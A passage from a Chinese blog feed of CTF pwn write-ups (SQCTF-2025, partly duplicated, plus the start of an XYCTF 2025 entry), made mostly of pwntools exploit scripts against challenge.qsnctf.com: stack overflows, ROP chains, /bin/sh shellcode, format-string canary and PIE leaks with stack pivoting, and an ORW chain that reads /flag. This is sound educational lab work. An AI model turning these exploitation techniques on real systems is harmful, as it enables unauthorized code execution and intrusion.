<span class="line">sret=<span class="number">0x00000000004011ec</span></span>
<span class="line">pay=<span class="string">b&#x27;x&#x27;</span>*<span class="number">0x48</span>+p64(rdx_rsi_rdi_rax)+p64(<span class="number">0x10</span>)+p64(e.bss(<span class="number">0x220</span>))+p64(<span class="number">0</span>)+p64(<span class="number">0</span>)+p64(sret)</span>
<span class="line">pay+=p64(rdx_rsi_rdi_rax)+p64(<span class="number">0</span>)+p64(<span class="number">0</span>)+p64(e.bss(<span class="number">0x220</span>))+p64(<span class="number">0x3b</span>)+p64(sret)</span>
<span class="line">sla(<span class="string">&#x27;请输入你的名字: &#x27;</span>,pay)</span>
<span class="line">sa(<span class="string">&#x27;0x&#x27;</span>,<span class="string">&#x27;/bin/sh\x00&#x27;</span>)</span>
<span class="line">p.interactive()</span>
<span class="line"><span class="comment">#p=remote()</span></span>
</pre></td></tr></table></figure>

<h1 id="pwn02-赌书消得泼茶香"><a href="https://imi-imiab.com/posts/cnblogs-18827574/#pwn02-%E8%B5%8C%E4%B9%A6%E6%B6%88%E5%BE%97%E6%B3%BC%E8%8C%B6%E9%A6%99" class="headerlink" title="pwn02 - 赌书消得泼茶香"></a>pwn02 - 赌书消得泼茶香</h1><p>简单栈溢出，记得后面多填一点东西，不然\x00写不满</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./pwn02&#x27;</span></span>
<span class="line"><span class="comment"># libc=</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line">p=remote(<span class="string">&#x27;challenge.qsnctf.com&#x27;</span>,<span class="number">32710</span>)</span>
<span class="line"><span class="comment"># p=process(filename)</span></span>
<span class="line">e=ELF(filename)</span>
<span class="line"><span class="comment"># libc=ELF(libc)</span></span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"><span class="comment"># gdb.attach(p)</span></span>
<span class="line"></span>
<span class="line">back=<span class="number">0x401422</span></span>
<span class="line"></span>
<span class="line">pay=<span class="string">b&#x27;x&#x27;</span>*<span class="number">0x68</span>+p64(back)*<span class="number">2</span></span>
<span class="line"><span class="keyword">import</span> base64</span>
<span class="line"></span>
<span class="line">sl(base64.b64encode(pay))</span>
<span class="line"></span>
<span class="line">p.interactive()</span>
</pre></td></tr></table></figure>

<h1 id="pwn01-我觉君非池中物，咫尺蛟龙云雨"><a href="https://imi-imiab.com/posts/cnblogs-18827574/#pwn01-%E6%88%91%E8%A7%89%E5%90%9B%E9%9D%9E%E6%B1%A0%E4%B8%AD%E7%89%A9%EF%BC%8C%E5%92%AB%E5%B0%BA%E8%9B%9F%E9%BE%99%E4%BA%91%E9%9B%A8" class="headerlink" title="pwn01 - 我觉君非池中物，咫尺蛟龙云雨"></a>pwn01 - 我觉君非池中物，咫尺蛟龙云雨</h1><p>一个简单的写shellcode题，条件也很宽松呀</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./pwn&#x27;</span></span>
<span class="line"><span class="comment"># libc=</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line"><span class="comment"># p=process(filename)</span></span>
<span class="line">p=remote(<span class="string">&#x27;challenge.qsnctf.com&#x27;</span>,<span class="number">31424</span>)</span>
<span class="line">e=ELF(filename)</span>
<span class="line"><span class="comment"># libc=ELF(libc)</span></span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"><span class="comment"># gdb.attach(p)</span></span>
<span class="line"></span>
<span class="line">pay=asm(<span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="string">nop;</span></span>
<span class="line"><span class="string">mov rax,0x68732f6e69622f;</span></span>
<span class="line"><span class="string">push rax;</span></span>
<span class="line"><span class="string">mov rdi,rsp;</span></span>
<span class="line"><span class="string">xor edx,edx;</span></span>
<span class="line"><span class="string">xor esi,esi;</span></span>
<span class="line"><span class="string">mov eax,0x3b</span></span>
<span class="line"><span class="string">syscall</span></span>
<span class="line"><span class="string">        &#x27;&#x27;&#x27;</span>)</span>
<span class="line">sl(pay)</span>
<span class="line">p.interactive()</span>
<span class="line"><span class="comment">#p=remote()</span></span>
</pre></td></tr></table></figure>

<h1 id="key-借的东风破金锁"><a href="https://imi-imiab.com/posts/cnblogs-18827574/#key-%E5%80%9F%E7%9A%84%E4%B8%9C%E9%A3%8E%E7%A0%B4%E9%87%91%E9%94%81" class="headerlink" title="key - 借的东风破金锁"></a>key - 借的东风破金锁</h1><p>甚至不是栈溢出，ida看一眼key就做完了</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./key&#x27;</span></span>
<span class="line"><span class="comment"># libc=</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line"><span class="comment"># p=process(filename)</span></span>
<span class="line">p=remote(<span class="string">&#x27;challenge.qsnctf.com&#x27;</span>,<span class="number">31746</span>)</span>
<span class="line">e=ELF(filename)</span>
<span class="line"><span class="comment"># libc=ELF(libc)</span></span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"><span class="comment"># gdb.attach(p)</span></span>
<span class="line"></span>
<span class="line">s(<span class="string">&#x27;FTCUNQS\x00\x00&#x27;</span>)</span>
<span class="line"></span>
<span class="line">p.interactive()</span>
</pre></td></tr></table></figure>

<h1 id="damn"><a href="https://imi-imiab.com/posts/cnblogs-18827574/#damn" class="headerlink" title="damn"></a>damn</h1><p>什么，misc没写出来所以不看了（躺</p>
]]></content>
</entry>
<entry>
<title type="text">SQCTF-2025 pwn部分wp</title>
<id>https://imi-imiab.com/posts/cnblogs-18827559/</id>
<link rel="alternate" type="text/html" href="https://imi-imiab.com/posts/cnblogs-18827559/"/>
<author><name>imiab</name></author>
<published>2025-04-15T05:24:00.000Z</published>
<updated>2025-04-15T05:25:00.000Z</updated>
<category term="Pwn" scheme="https://imi-imiab.com/categories/Pwn/"/>
<category term="CTF" scheme="https://imi-imiab.com/tags/CTF/"/>
<category term="Pwn" scheme="https://imi-imiab.com/tags/Pwn/"/>
<summary type="text">你好哇，除了一个混杂了misc的pwn没写，其他的思路和writeup都写在这里了 题目总体还是偏基础的，如果不懂可以exp+gdb调调看。 浅红欺醉粉，肯信有江梅 天哪好花哨的名字 输入nc balabala就有shell啦，然后愉快地ls cat flag便可 cat 主函数里有一个危险的get</summary>
<content type="html" xml:base="https://imi-imiab.com/posts/cnblogs-18827559/"><![CDATA[<p>你好哇，除了一个混杂了misc的pwn没写，其他的思路和writeup都写在这里了</p>
<p>题目总体还是偏基础的，如果不懂可以exp+gdb调调看。</p>
<h1 id="浅红欺醉粉，肯信有江梅"><a href="https://imi-imiab.com/posts/cnblogs-18827559/#%E6%B5%85%E7%BA%A2%E6%AC%BA%E9%86%89%E7%B2%89%EF%BC%8C%E8%82%AF%E4%BF%A1%E6%9C%89%E6%B1%9F%E6%A2%85" class="headerlink" title="浅红欺醉粉，肯信有江梅"></a>浅红欺醉粉，肯信有江梅</h1><p>天哪好花哨的名字</p>
<p>输入nc balabala就有shell啦，然后愉快地ls cat flag便可</p>
<h1 id="cat"><a href="https://imi-imiab.com/posts/cnblogs-18827559/#cat" class="headerlink" title="cat"></a>cat</h1><p>主函数里有一个危险的<code>gets</code></p>
<p>只要我们输入一个很长的字符串，就进backdoor啦</p>
<p>exp:”aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa”</p>
<h1 id="pwn03"><a href="https://imi-imiab.com/posts/cnblogs-18827559/#pwn03" class="headerlink" title="pwn03"></a>pwn03</h1><p><img src="https://imi-imiab.com/images/posts/4d3ad2e975ab4213425b.png" loading="lazy" decoding="async"></p>
<p>如图，通过栈上fmt泄露canary和pie</p>
<p>然后构造栈迁移，填入binsh，注意binsh要填在栈的下方而非上方，否则会被覆盖</p>
<p>exp:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./pwn03&#x27;</span></span>
<span class="line"><span class="comment"># libc=</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line"><span class="comment"># p=process(filename)</span></span>
<span class="line">p=remote(<span class="string">&#x27;challenge.qsnctf.com&#x27;</span>,<span class="number">30988</span>)</span>
<span class="line">e=ELF(filename)</span>
<span class="line"><span class="comment"># libc=ELF(libc)</span></span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"></span>
<span class="line"><span class="comment"># gdb.attach(p,&#x27;go&#x27;)</span></span>
<span class="line">pay=<span class="string">&quot;%11$p%15$p&quot;</span></span>
<span class="line">sl(pay)</span>
<span class="line">p.recvuntil(<span class="string">&#x27;0x&#x27;</span>)</span>
<span class="line">canary=<span class="built_in">int</span>(p.recvuntil(<span class="string">&quot;0x&quot;</span>,drop=<span class="literal">True</span>),<span class="number">16</span>)</span>
<span class="line">pie=<span class="built_in">int</span>(p.recvline(keepends=<span class="literal">False</span>),<span class="number">16</span>)-<span class="number">0x125b</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line">rdi=<span class="number">0x0000000000001245</span>+pie</span>
<span class="line">saddr=e.plt[<span class="string">&#x27;system&#x27;</span>]+pie</span>
<span class="line">bss=e.bss(<span class="number">0xF08</span>)+pie</span>
<span class="line"></span>
<span class="line">pay2=<span class="string">b&#x27;x&#x27;</span>*<span class="number">8</span>+p64(canary)+p64(bss)+p64(<span class="number">0x11f1</span>+pie)</span>
<span class="line">s(pay2)</span>
<span class="line">pause()</span>
<span class="line">pay3=<span class="string">b&#x27;x&#x27;</span>*<span class="number">8</span>+p64(canary)+p64(bss+<span class="number">8</span>)+p64(<span class="number">0x11f1</span>+pie)</span>
<span class="line">s(pay3)</span>
<span class="line">binsh=bss+<span class="number">0x10</span></span>
<span class="line">pay4=p64(rdi)+p64(binsh)+p64(saddr)+<span class="string">b&#x27;/bin/sh\x00&#x27;</span></span>
<span class="line">pause()</span>
<span class="line">s(pay4)</span>
<span class="line">p.interactive()</span>
<span class="line"></span>
</pre></td></tr></table></figure>

<h1 id="gift"><a href="https://imi-imiab.com/posts/cnblogs-18827559/#gift" class="headerlink" title="gift"></a>gift</h1><p>简单的ret2backdoor题目</p>
<p>第一次打发现没打通，猜测是system没有对对齐，跳过push rbp后成功打通</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./gift&#x27;</span></span>
<span class="line"><span class="comment"># libc=</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line">p=remote(<span class="string">&#x27;challenge.qsnctf.com&#x27;</span>,<span class="number">31741</span>)</span>
<span class="line"><span class="comment"># p=process(filename)</span></span>
<span class="line">e=ELF(filename)</span>
<span class="line"><span class="comment"># libc=ELF(libc)</span></span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line"><span class="comment"># context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span></span>
<span class="line"><span class="comment"># gdb.attach(p)</span></span>
<span class="line"></span>
<span class="line">pay=<span class="string">b&#x27;x&#x27;</span>*<span class="number">72</span>+p64(<span class="number">0x4011bb</span>)*<span class="number">8</span></span>
<span class="line">sl(pay)</span>
<span class="line">p.interactive()</span>
<span class="line"><span class="comment">#p=remote()</span></span>
</pre></td></tr></table></figure>

<h1 id="bad"><a href="https://imi-imiab.com/posts/cnblogs-18827559/#bad" class="headerlink" title="bad"></a>bad</h1><p>init_memory初始化bss段为rwx，直接shellcraft写sh在ret2bss即可</p>
<p>注意用了memcpy，不可以填充\x00哦，这里我选择健康的\x90(nop)</p>
<p><del>虽然填nop没什么意义就是了，执行到nop说明100%没打通</del><br>exp:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./bad&#x27;</span></span>
<span class="line"><span class="comment"># libc=</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line"><span class="comment"># p=process(filename)</span></span>
<span class="line">p=remote(<span class="string">&#x27;challenge.qsnctf.com&#x27;</span>,<span class="number">31424</span>)</span>
<span class="line">e=ELF(filename)</span>
<span class="line"><span class="comment"># libc=ELF(libc)</span></span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"><span class="comment"># gdb.attach(p)</span></span>
<span class="line">pay=asm(shellcraft.sh())</span>
<span class="line">pay=pay.ljust(<span class="number">72</span>,<span class="string">b&#x27;\x90&#x27;</span>)+p64(<span class="number">0x4040A0</span>)</span>
<span class="line">sl(pay)</span>
<span class="line">p.interactive()</span>
<span class="line"><span class="comment">#p=remote()</span></span>
</pre></td></tr></table></figure>

<h1 id="pwn01-当时只道是寻常"><a href="https://imi-imiab.com/posts/cnblogs-18827559/#pwn01-%E5%BD%93%E6%97%B6%E5%8F%AA%E9%81%93%E6%98%AF%E5%AF%BB%E5%B8%B8" class="headerlink" title="pwn01 - 当时只道是寻常"></a>pwn01 - 当时只道是寻常</h1><p>因为忘记了srop，展示无srop打法</p>
<p>初始情况下，开满三个fd，分别是stdin，stdout,stderr</p>
<figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">dup stdin   0 -&gt; 3  #防止close1后直接eof退出</span>
<span class="line">dup2 stdout 0 &lt;- 1  #给openat留出位置</span>
<span class="line">close         -- 1  #给openat留出位置</span>
<span class="line">openat        ++ 1  #openat使用rsi传参，当rsi为绝对路径时，rdi可以忽略</span>
<span class="line"></span>
<span class="line">                    #由于我们没有任意读，所以必须在栈上构造filename，也就是</span>
<span class="line">                     在rbp所在的地方写入filename</span>
<span class="line"></span>
<span class="line">read             1  #前面煞费苦心地迁移fd，就是为了在这里read用的</span>
<span class="line">                     为了可以读文件且程序不崩溃，我们必须保证以下几个条件</span>
<span class="line"></span>
<span class="line">                     rsi必须不在栈上，否则会覆盖我们的rop链子</span>
<span class="line">                     那么rdi必须为1，因为我们要控制rsi就无法控制rdi</span>
<span class="line">                     </span>
<span class="line">                     rdi为1那么stdout必须移动到别的地方，在本题中，</span>
<span class="line">                     我们无法控制除了0和1以外的任何fd，而我们最后必须</span>
<span class="line">                     write stdout输出，也就是此时0必须是stdout</span>
<span class="line">                     但是直接关了stdin会导致broken pipe程序立马崩溃</span>
<span class="line">                     所以必须用dup stdin来把文件描述符传出去</span>
<span class="line">                     由于智能指针的性质，此时stdin不会被系统回收，</span>
<span class="line">                     程序也不会崩溃，我们就能顺利readflag到指定位置</span>
<span class="line">                     并最后重新把它输出出来</span>
<span class="line"></span>
<span class="line">dup2 stdout 0 -&gt; 1</span>
<span class="line">write            1  #同之前分析相同，若要控制rdi=0就无法控制rsi，而</span>
<span class="line">                     我们的flag是写到bss上的，所以必须dup2 stdout到1</span>
<span class="line">                     最后成功输出flag</span>
</pre></td></tr></table></figure>

<p>exp:</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./pwn01&#x27;</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line">p=remote(<span class="string">&#x27;challenge.qsnctf.com&#x27;</span>,<span class="number">31683</span>)</span>
<span class="line">e=ELF(filename)</span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"></span>
<span class="line">ret=<span class="number">0x0000000000401048</span></span>
<span class="line">rsi_rax=<span class="number">0x0000000000401049</span></span>
<span class="line">rax=<span class="number">0x000000000040104a</span></span>
<span class="line">binsh=<span class="number">0x000000000402039</span>+<span class="number">1</span></span>
<span class="line">sys_rbp=<span class="number">0x401045</span></span>
<span class="line">pay=<span class="string">b&#x27;deadbeaf&#x27;</span></span>
<span class="line">pay+=p64(rax)+p64(<span class="number">0x20</span>)+p64(<span class="number">0x401024</span>)+p64(<span class="number">0</span>)</span>
<span class="line">pay+=p64(rsi_rax)+p64(<span class="number">0</span>)+p64(<span class="number">0x21</span>)+p64(sys_rbp)+p64(<span class="number">0</span>)</span>
<span class="line">pay+=p64(rax)+p64(<span class="number">3</span>)+p64(sys_rbp)+p64(<span class="number">0</span>)</span>
<span class="line"></span>
<span class="line">pay+=p64(rax)+p64(<span class="number">0x101</span>)+p64(<span class="number">0x0401024</span>)+<span class="string">b&#x27;/flag\x00\x00\x00&#x27;</span></span>
<span class="line">pay+=p64(rsi_rax)+p64(e.bss(<span class="number">0x400</span>))+p64(<span class="number">0</span>)+p64(<span class="number">0x40102C</span>)+p64(<span class="number">0</span>)</span>
<span class="line">pay+=p64(rax)+p64(<span class="number">3</span>)+p64(sys_rbp)+p64(<span class="number">0</span>)</span>
<span class="line">pay+=p64(rax)+p64(<span class="number">0x20</span>)+p64(<span class="number">0x401024</span>)+p64(<span class="number">0</span>)</span>
<span class="line">pay+=p64(rax)+p64(<span class="number">1</span>)+p64(sys_rbp)+p64(<span class="number">0</span>)</span>
<span class="line">pay+=p64(rsi_rax)+p64(e.bss(<span class="number">0x400</span>))+p64(<span class="number">1</span>)+p64(<span class="number">0x401018</span>)</span>
<span class="line">s(pay)</span>
<span class="line"></span>
<span class="line">p.interactive()</span>
<span class="line"></span>
<span class="line"><span class="comment">#p=remote()</span></span>
</pre></td></tr></table></figure>

<h1 id="pwn-被酒莫惊春睡重"><a href="https://imi-imiab.com/posts/cnblogs-18827559/#pwn-%E8%A2%AB%E9%85%92%E8%8E%AB%E6%83%8A%E6%98%A5%E7%9D%A1%E9%87%8D" class="headerlink" title="pwn - 被酒莫惊春睡重"></a>pwn - 被酒莫惊春睡重</h1><p>简单栈溢出+ret2syscall呀</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./pwn&#x27;</span></span>
<span class="line"><span class="comment"># libc=</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line"><span class="comment"># p=process(filename)</span></span>
<span class="line">p=remote(<span class="string">&#x27;challenge.qsnctf.com&#x27;</span>,<span class="number">30135</span>)</span>
<span class="line">e=ELF(filename)</span>
<span class="line"><span class="comment"># libc=ELF(libc)</span></span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"><span class="comment"># gdb.attach(p)</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line">rdx_rsi_rdi_rax=<span class="number">0x00000000004011e0</span></span>
<span class="line">sret=<span class="number">0x00000000004011ec</span></span>
<span class="line">pay=<span class="string">b&#x27;x&#x27;</span>*<span class="number">0x48</span>+p64(rdx_rsi_rdi_rax)+p64(<span class="number">0x10</span>)+p64(e.bss(<span class="number">0x220</span>))+p64(<span class="number">0</span>)+p64(<span class="number">0</span>)+p64(sret)</span>
<span class="line">pay+=p64(rdx_rsi_rdi_rax)+p64(<span class="number">0</span>)+p64(<span class="number">0</span>)+p64(e.bss(<span class="number">0x220</span>))+p64(<span class="number">0x3b</span>)+p64(sret)</span>
<span class="line">sla(<span class="string">&#x27;请输入你的名字: &#x27;</span>,pay)</span>
<span class="line">sa(<span class="string">&#x27;0x&#x27;</span>,<span class="string">&#x27;/bin/sh\x00&#x27;</span>)</span>
<span class="line">p.interactive()</span>
<span class="line"><span class="comment">#p=remote()</span></span>
</pre></td></tr></table></figure>

<h1 id="pwn02-赌书消得泼茶香"><a href="https://imi-imiab.com/posts/cnblogs-18827559/#pwn02-%E8%B5%8C%E4%B9%A6%E6%B6%88%E5%BE%97%E6%B3%BC%E8%8C%B6%E9%A6%99" class="headerlink" title="pwn02 - 赌书消得泼茶香"></a>pwn02 - 赌书消得泼茶香</h1><p>简单栈溢出，记得后面多填一点东西，不然\x00写不满</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./pwn02&#x27;</span></span>
<span class="line"><span class="comment"># libc=</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line">p=remote(<span class="string">&#x27;challenge.qsnctf.com&#x27;</span>,<span class="number">32710</span>)</span>
<span class="line"><span class="comment"># p=process(filename)</span></span>
<span class="line">e=ELF(filename)</span>
<span class="line"><span class="comment"># libc=ELF(libc)</span></span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"><span class="comment"># gdb.attach(p)</span></span>
<span class="line"></span>
<span class="line">back=<span class="number">0x401422</span></span>
<span class="line"></span>
<span class="line">pay=<span class="string">b&#x27;x&#x27;</span>*<span class="number">0x68</span>+p64(back)*<span class="number">2</span></span>
<span class="line"><span class="keyword">import</span> base64</span>
<span class="line"></span>
<span class="line">sl(base64.b64encode(pay))</span>
<span class="line"></span>
<span class="line">p.interactive()</span>
</pre></td></tr></table></figure>

<h1 id="pwn01-我觉君非池中物，咫尺蛟龙云雨"><a href="https://imi-imiab.com/posts/cnblogs-18827559/#pwn01-%E6%88%91%E8%A7%89%E5%90%9B%E9%9D%9E%E6%B1%A0%E4%B8%AD%E7%89%A9%EF%BC%8C%E5%92%AB%E5%B0%BA%E8%9B%9F%E9%BE%99%E4%BA%91%E9%9B%A8" class="headerlink" title="pwn01 - 我觉君非池中物，咫尺蛟龙云雨"></a>pwn01 - 我觉君非池中物，咫尺蛟龙云雨</h1><p>一个简单的写shellcode题，条件也很宽松呀</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./pwn&#x27;</span></span>
<span class="line"><span class="comment"># libc=</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line"><span class="comment"># p=process(filename)</span></span>
<span class="line">p=remote(<span class="string">&#x27;challenge.qsnctf.com&#x27;</span>,<span class="number">31424</span>)</span>
<span class="line">e=ELF(filename)</span>
<span class="line"><span class="comment"># libc=ELF(libc)</span></span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"><span class="comment"># gdb.attach(p)</span></span>
<span class="line"></span>
<span class="line">pay=asm(<span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="string">nop;</span></span>
<span class="line"><span class="string">mov rax,0x68732f6e69622f;</span></span>
<span class="line"><span class="string">push rax;</span></span>
<span class="line"><span class="string">mov rdi,rsp;</span></span>
<span class="line"><span class="string">xor edx,edx;</span></span>
<span class="line"><span class="string">xor esi,esi;</span></span>
<span class="line"><span class="string">mov eax,0x3b</span></span>
<span class="line"><span class="string">syscall</span></span>
<span class="line"><span class="string">        &#x27;&#x27;&#x27;</span>)</span>
<span class="line">sl(pay)</span>
<span class="line">p.interactive()</span>
<span class="line"><span class="comment">#p=remote()</span></span>
</pre></td></tr></table></figure>

<h1 id="key-借的东风破金锁"><a href="https://imi-imiab.com/posts/cnblogs-18827559/#key-%E5%80%9F%E7%9A%84%E4%B8%9C%E9%A3%8E%E7%A0%B4%E9%87%91%E9%94%81" class="headerlink" title="key - 借的东风破金锁"></a>key - 借的东风破金锁</h1><p>甚至不是栈溢出，ida看一眼key就做完了</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename=<span class="string">&#x27;./key&#x27;</span></span>
<span class="line"><span class="comment"># libc=</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line"><span class="comment"># p=process(filename)</span></span>
<span class="line">p=remote(<span class="string">&#x27;challenge.qsnctf.com&#x27;</span>,<span class="number">31746</span>)</span>
<span class="line">e=ELF(filename)</span>
<span class="line"><span class="comment"># libc=ELF(libc)</span></span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"><span class="comment"># gdb.attach(p)</span></span>
<span class="line"></span>
<span class="line">s(<span class="string">&#x27;FTCUNQS\x00\x00&#x27;</span>)</span>
<span class="line"></span>
<span class="line">p.interactive()</span>
</pre></td></tr></table></figure>

<h1 id="damn"><a href="https://imi-imiab.com/posts/cnblogs-18827559/#damn" class="headerlink" title="damn"></a>damn</h1><p>什么，misc没写出来所以不看了（躺</p>
]]></content>
</entry>
<entry>
<title type="text">XYCTF 2025 pwn方向部分题解</title>
<id>https://imi-imiab.com/posts/cnblogs-18815248/</id>
<link rel="alternate" type="text/html" href="https://imi-imiab.com/posts/cnblogs-18815248/"/>
<author><name>imiab</name></author>
<published>2025-04-08T03:43:00.000Z</published>
<updated>2025-04-08T03:46:00.000Z</updated>
<category term="Pwn" scheme="https://imi-imiab.com/categories/Pwn/"/>
<category term="CTF" scheme="https://imi-imiab.com/tags/CTF/"/>
<category term="Pwn" scheme="https://imi-imiab.com/tags/Pwn/"/>
<summary type="text">nailong int -&gt; uint 如果输入负数就可以绕过“太高了” 接下来0是读，1是写，程序开头给了栈地址 虽然用time0加随机数了，但是只要我们本地也同样跑个time0就可以生成一样的随机数 分别把几个变量写掉后弄出任意读写原语后写orw即可 exp: from pwn impor</summary>
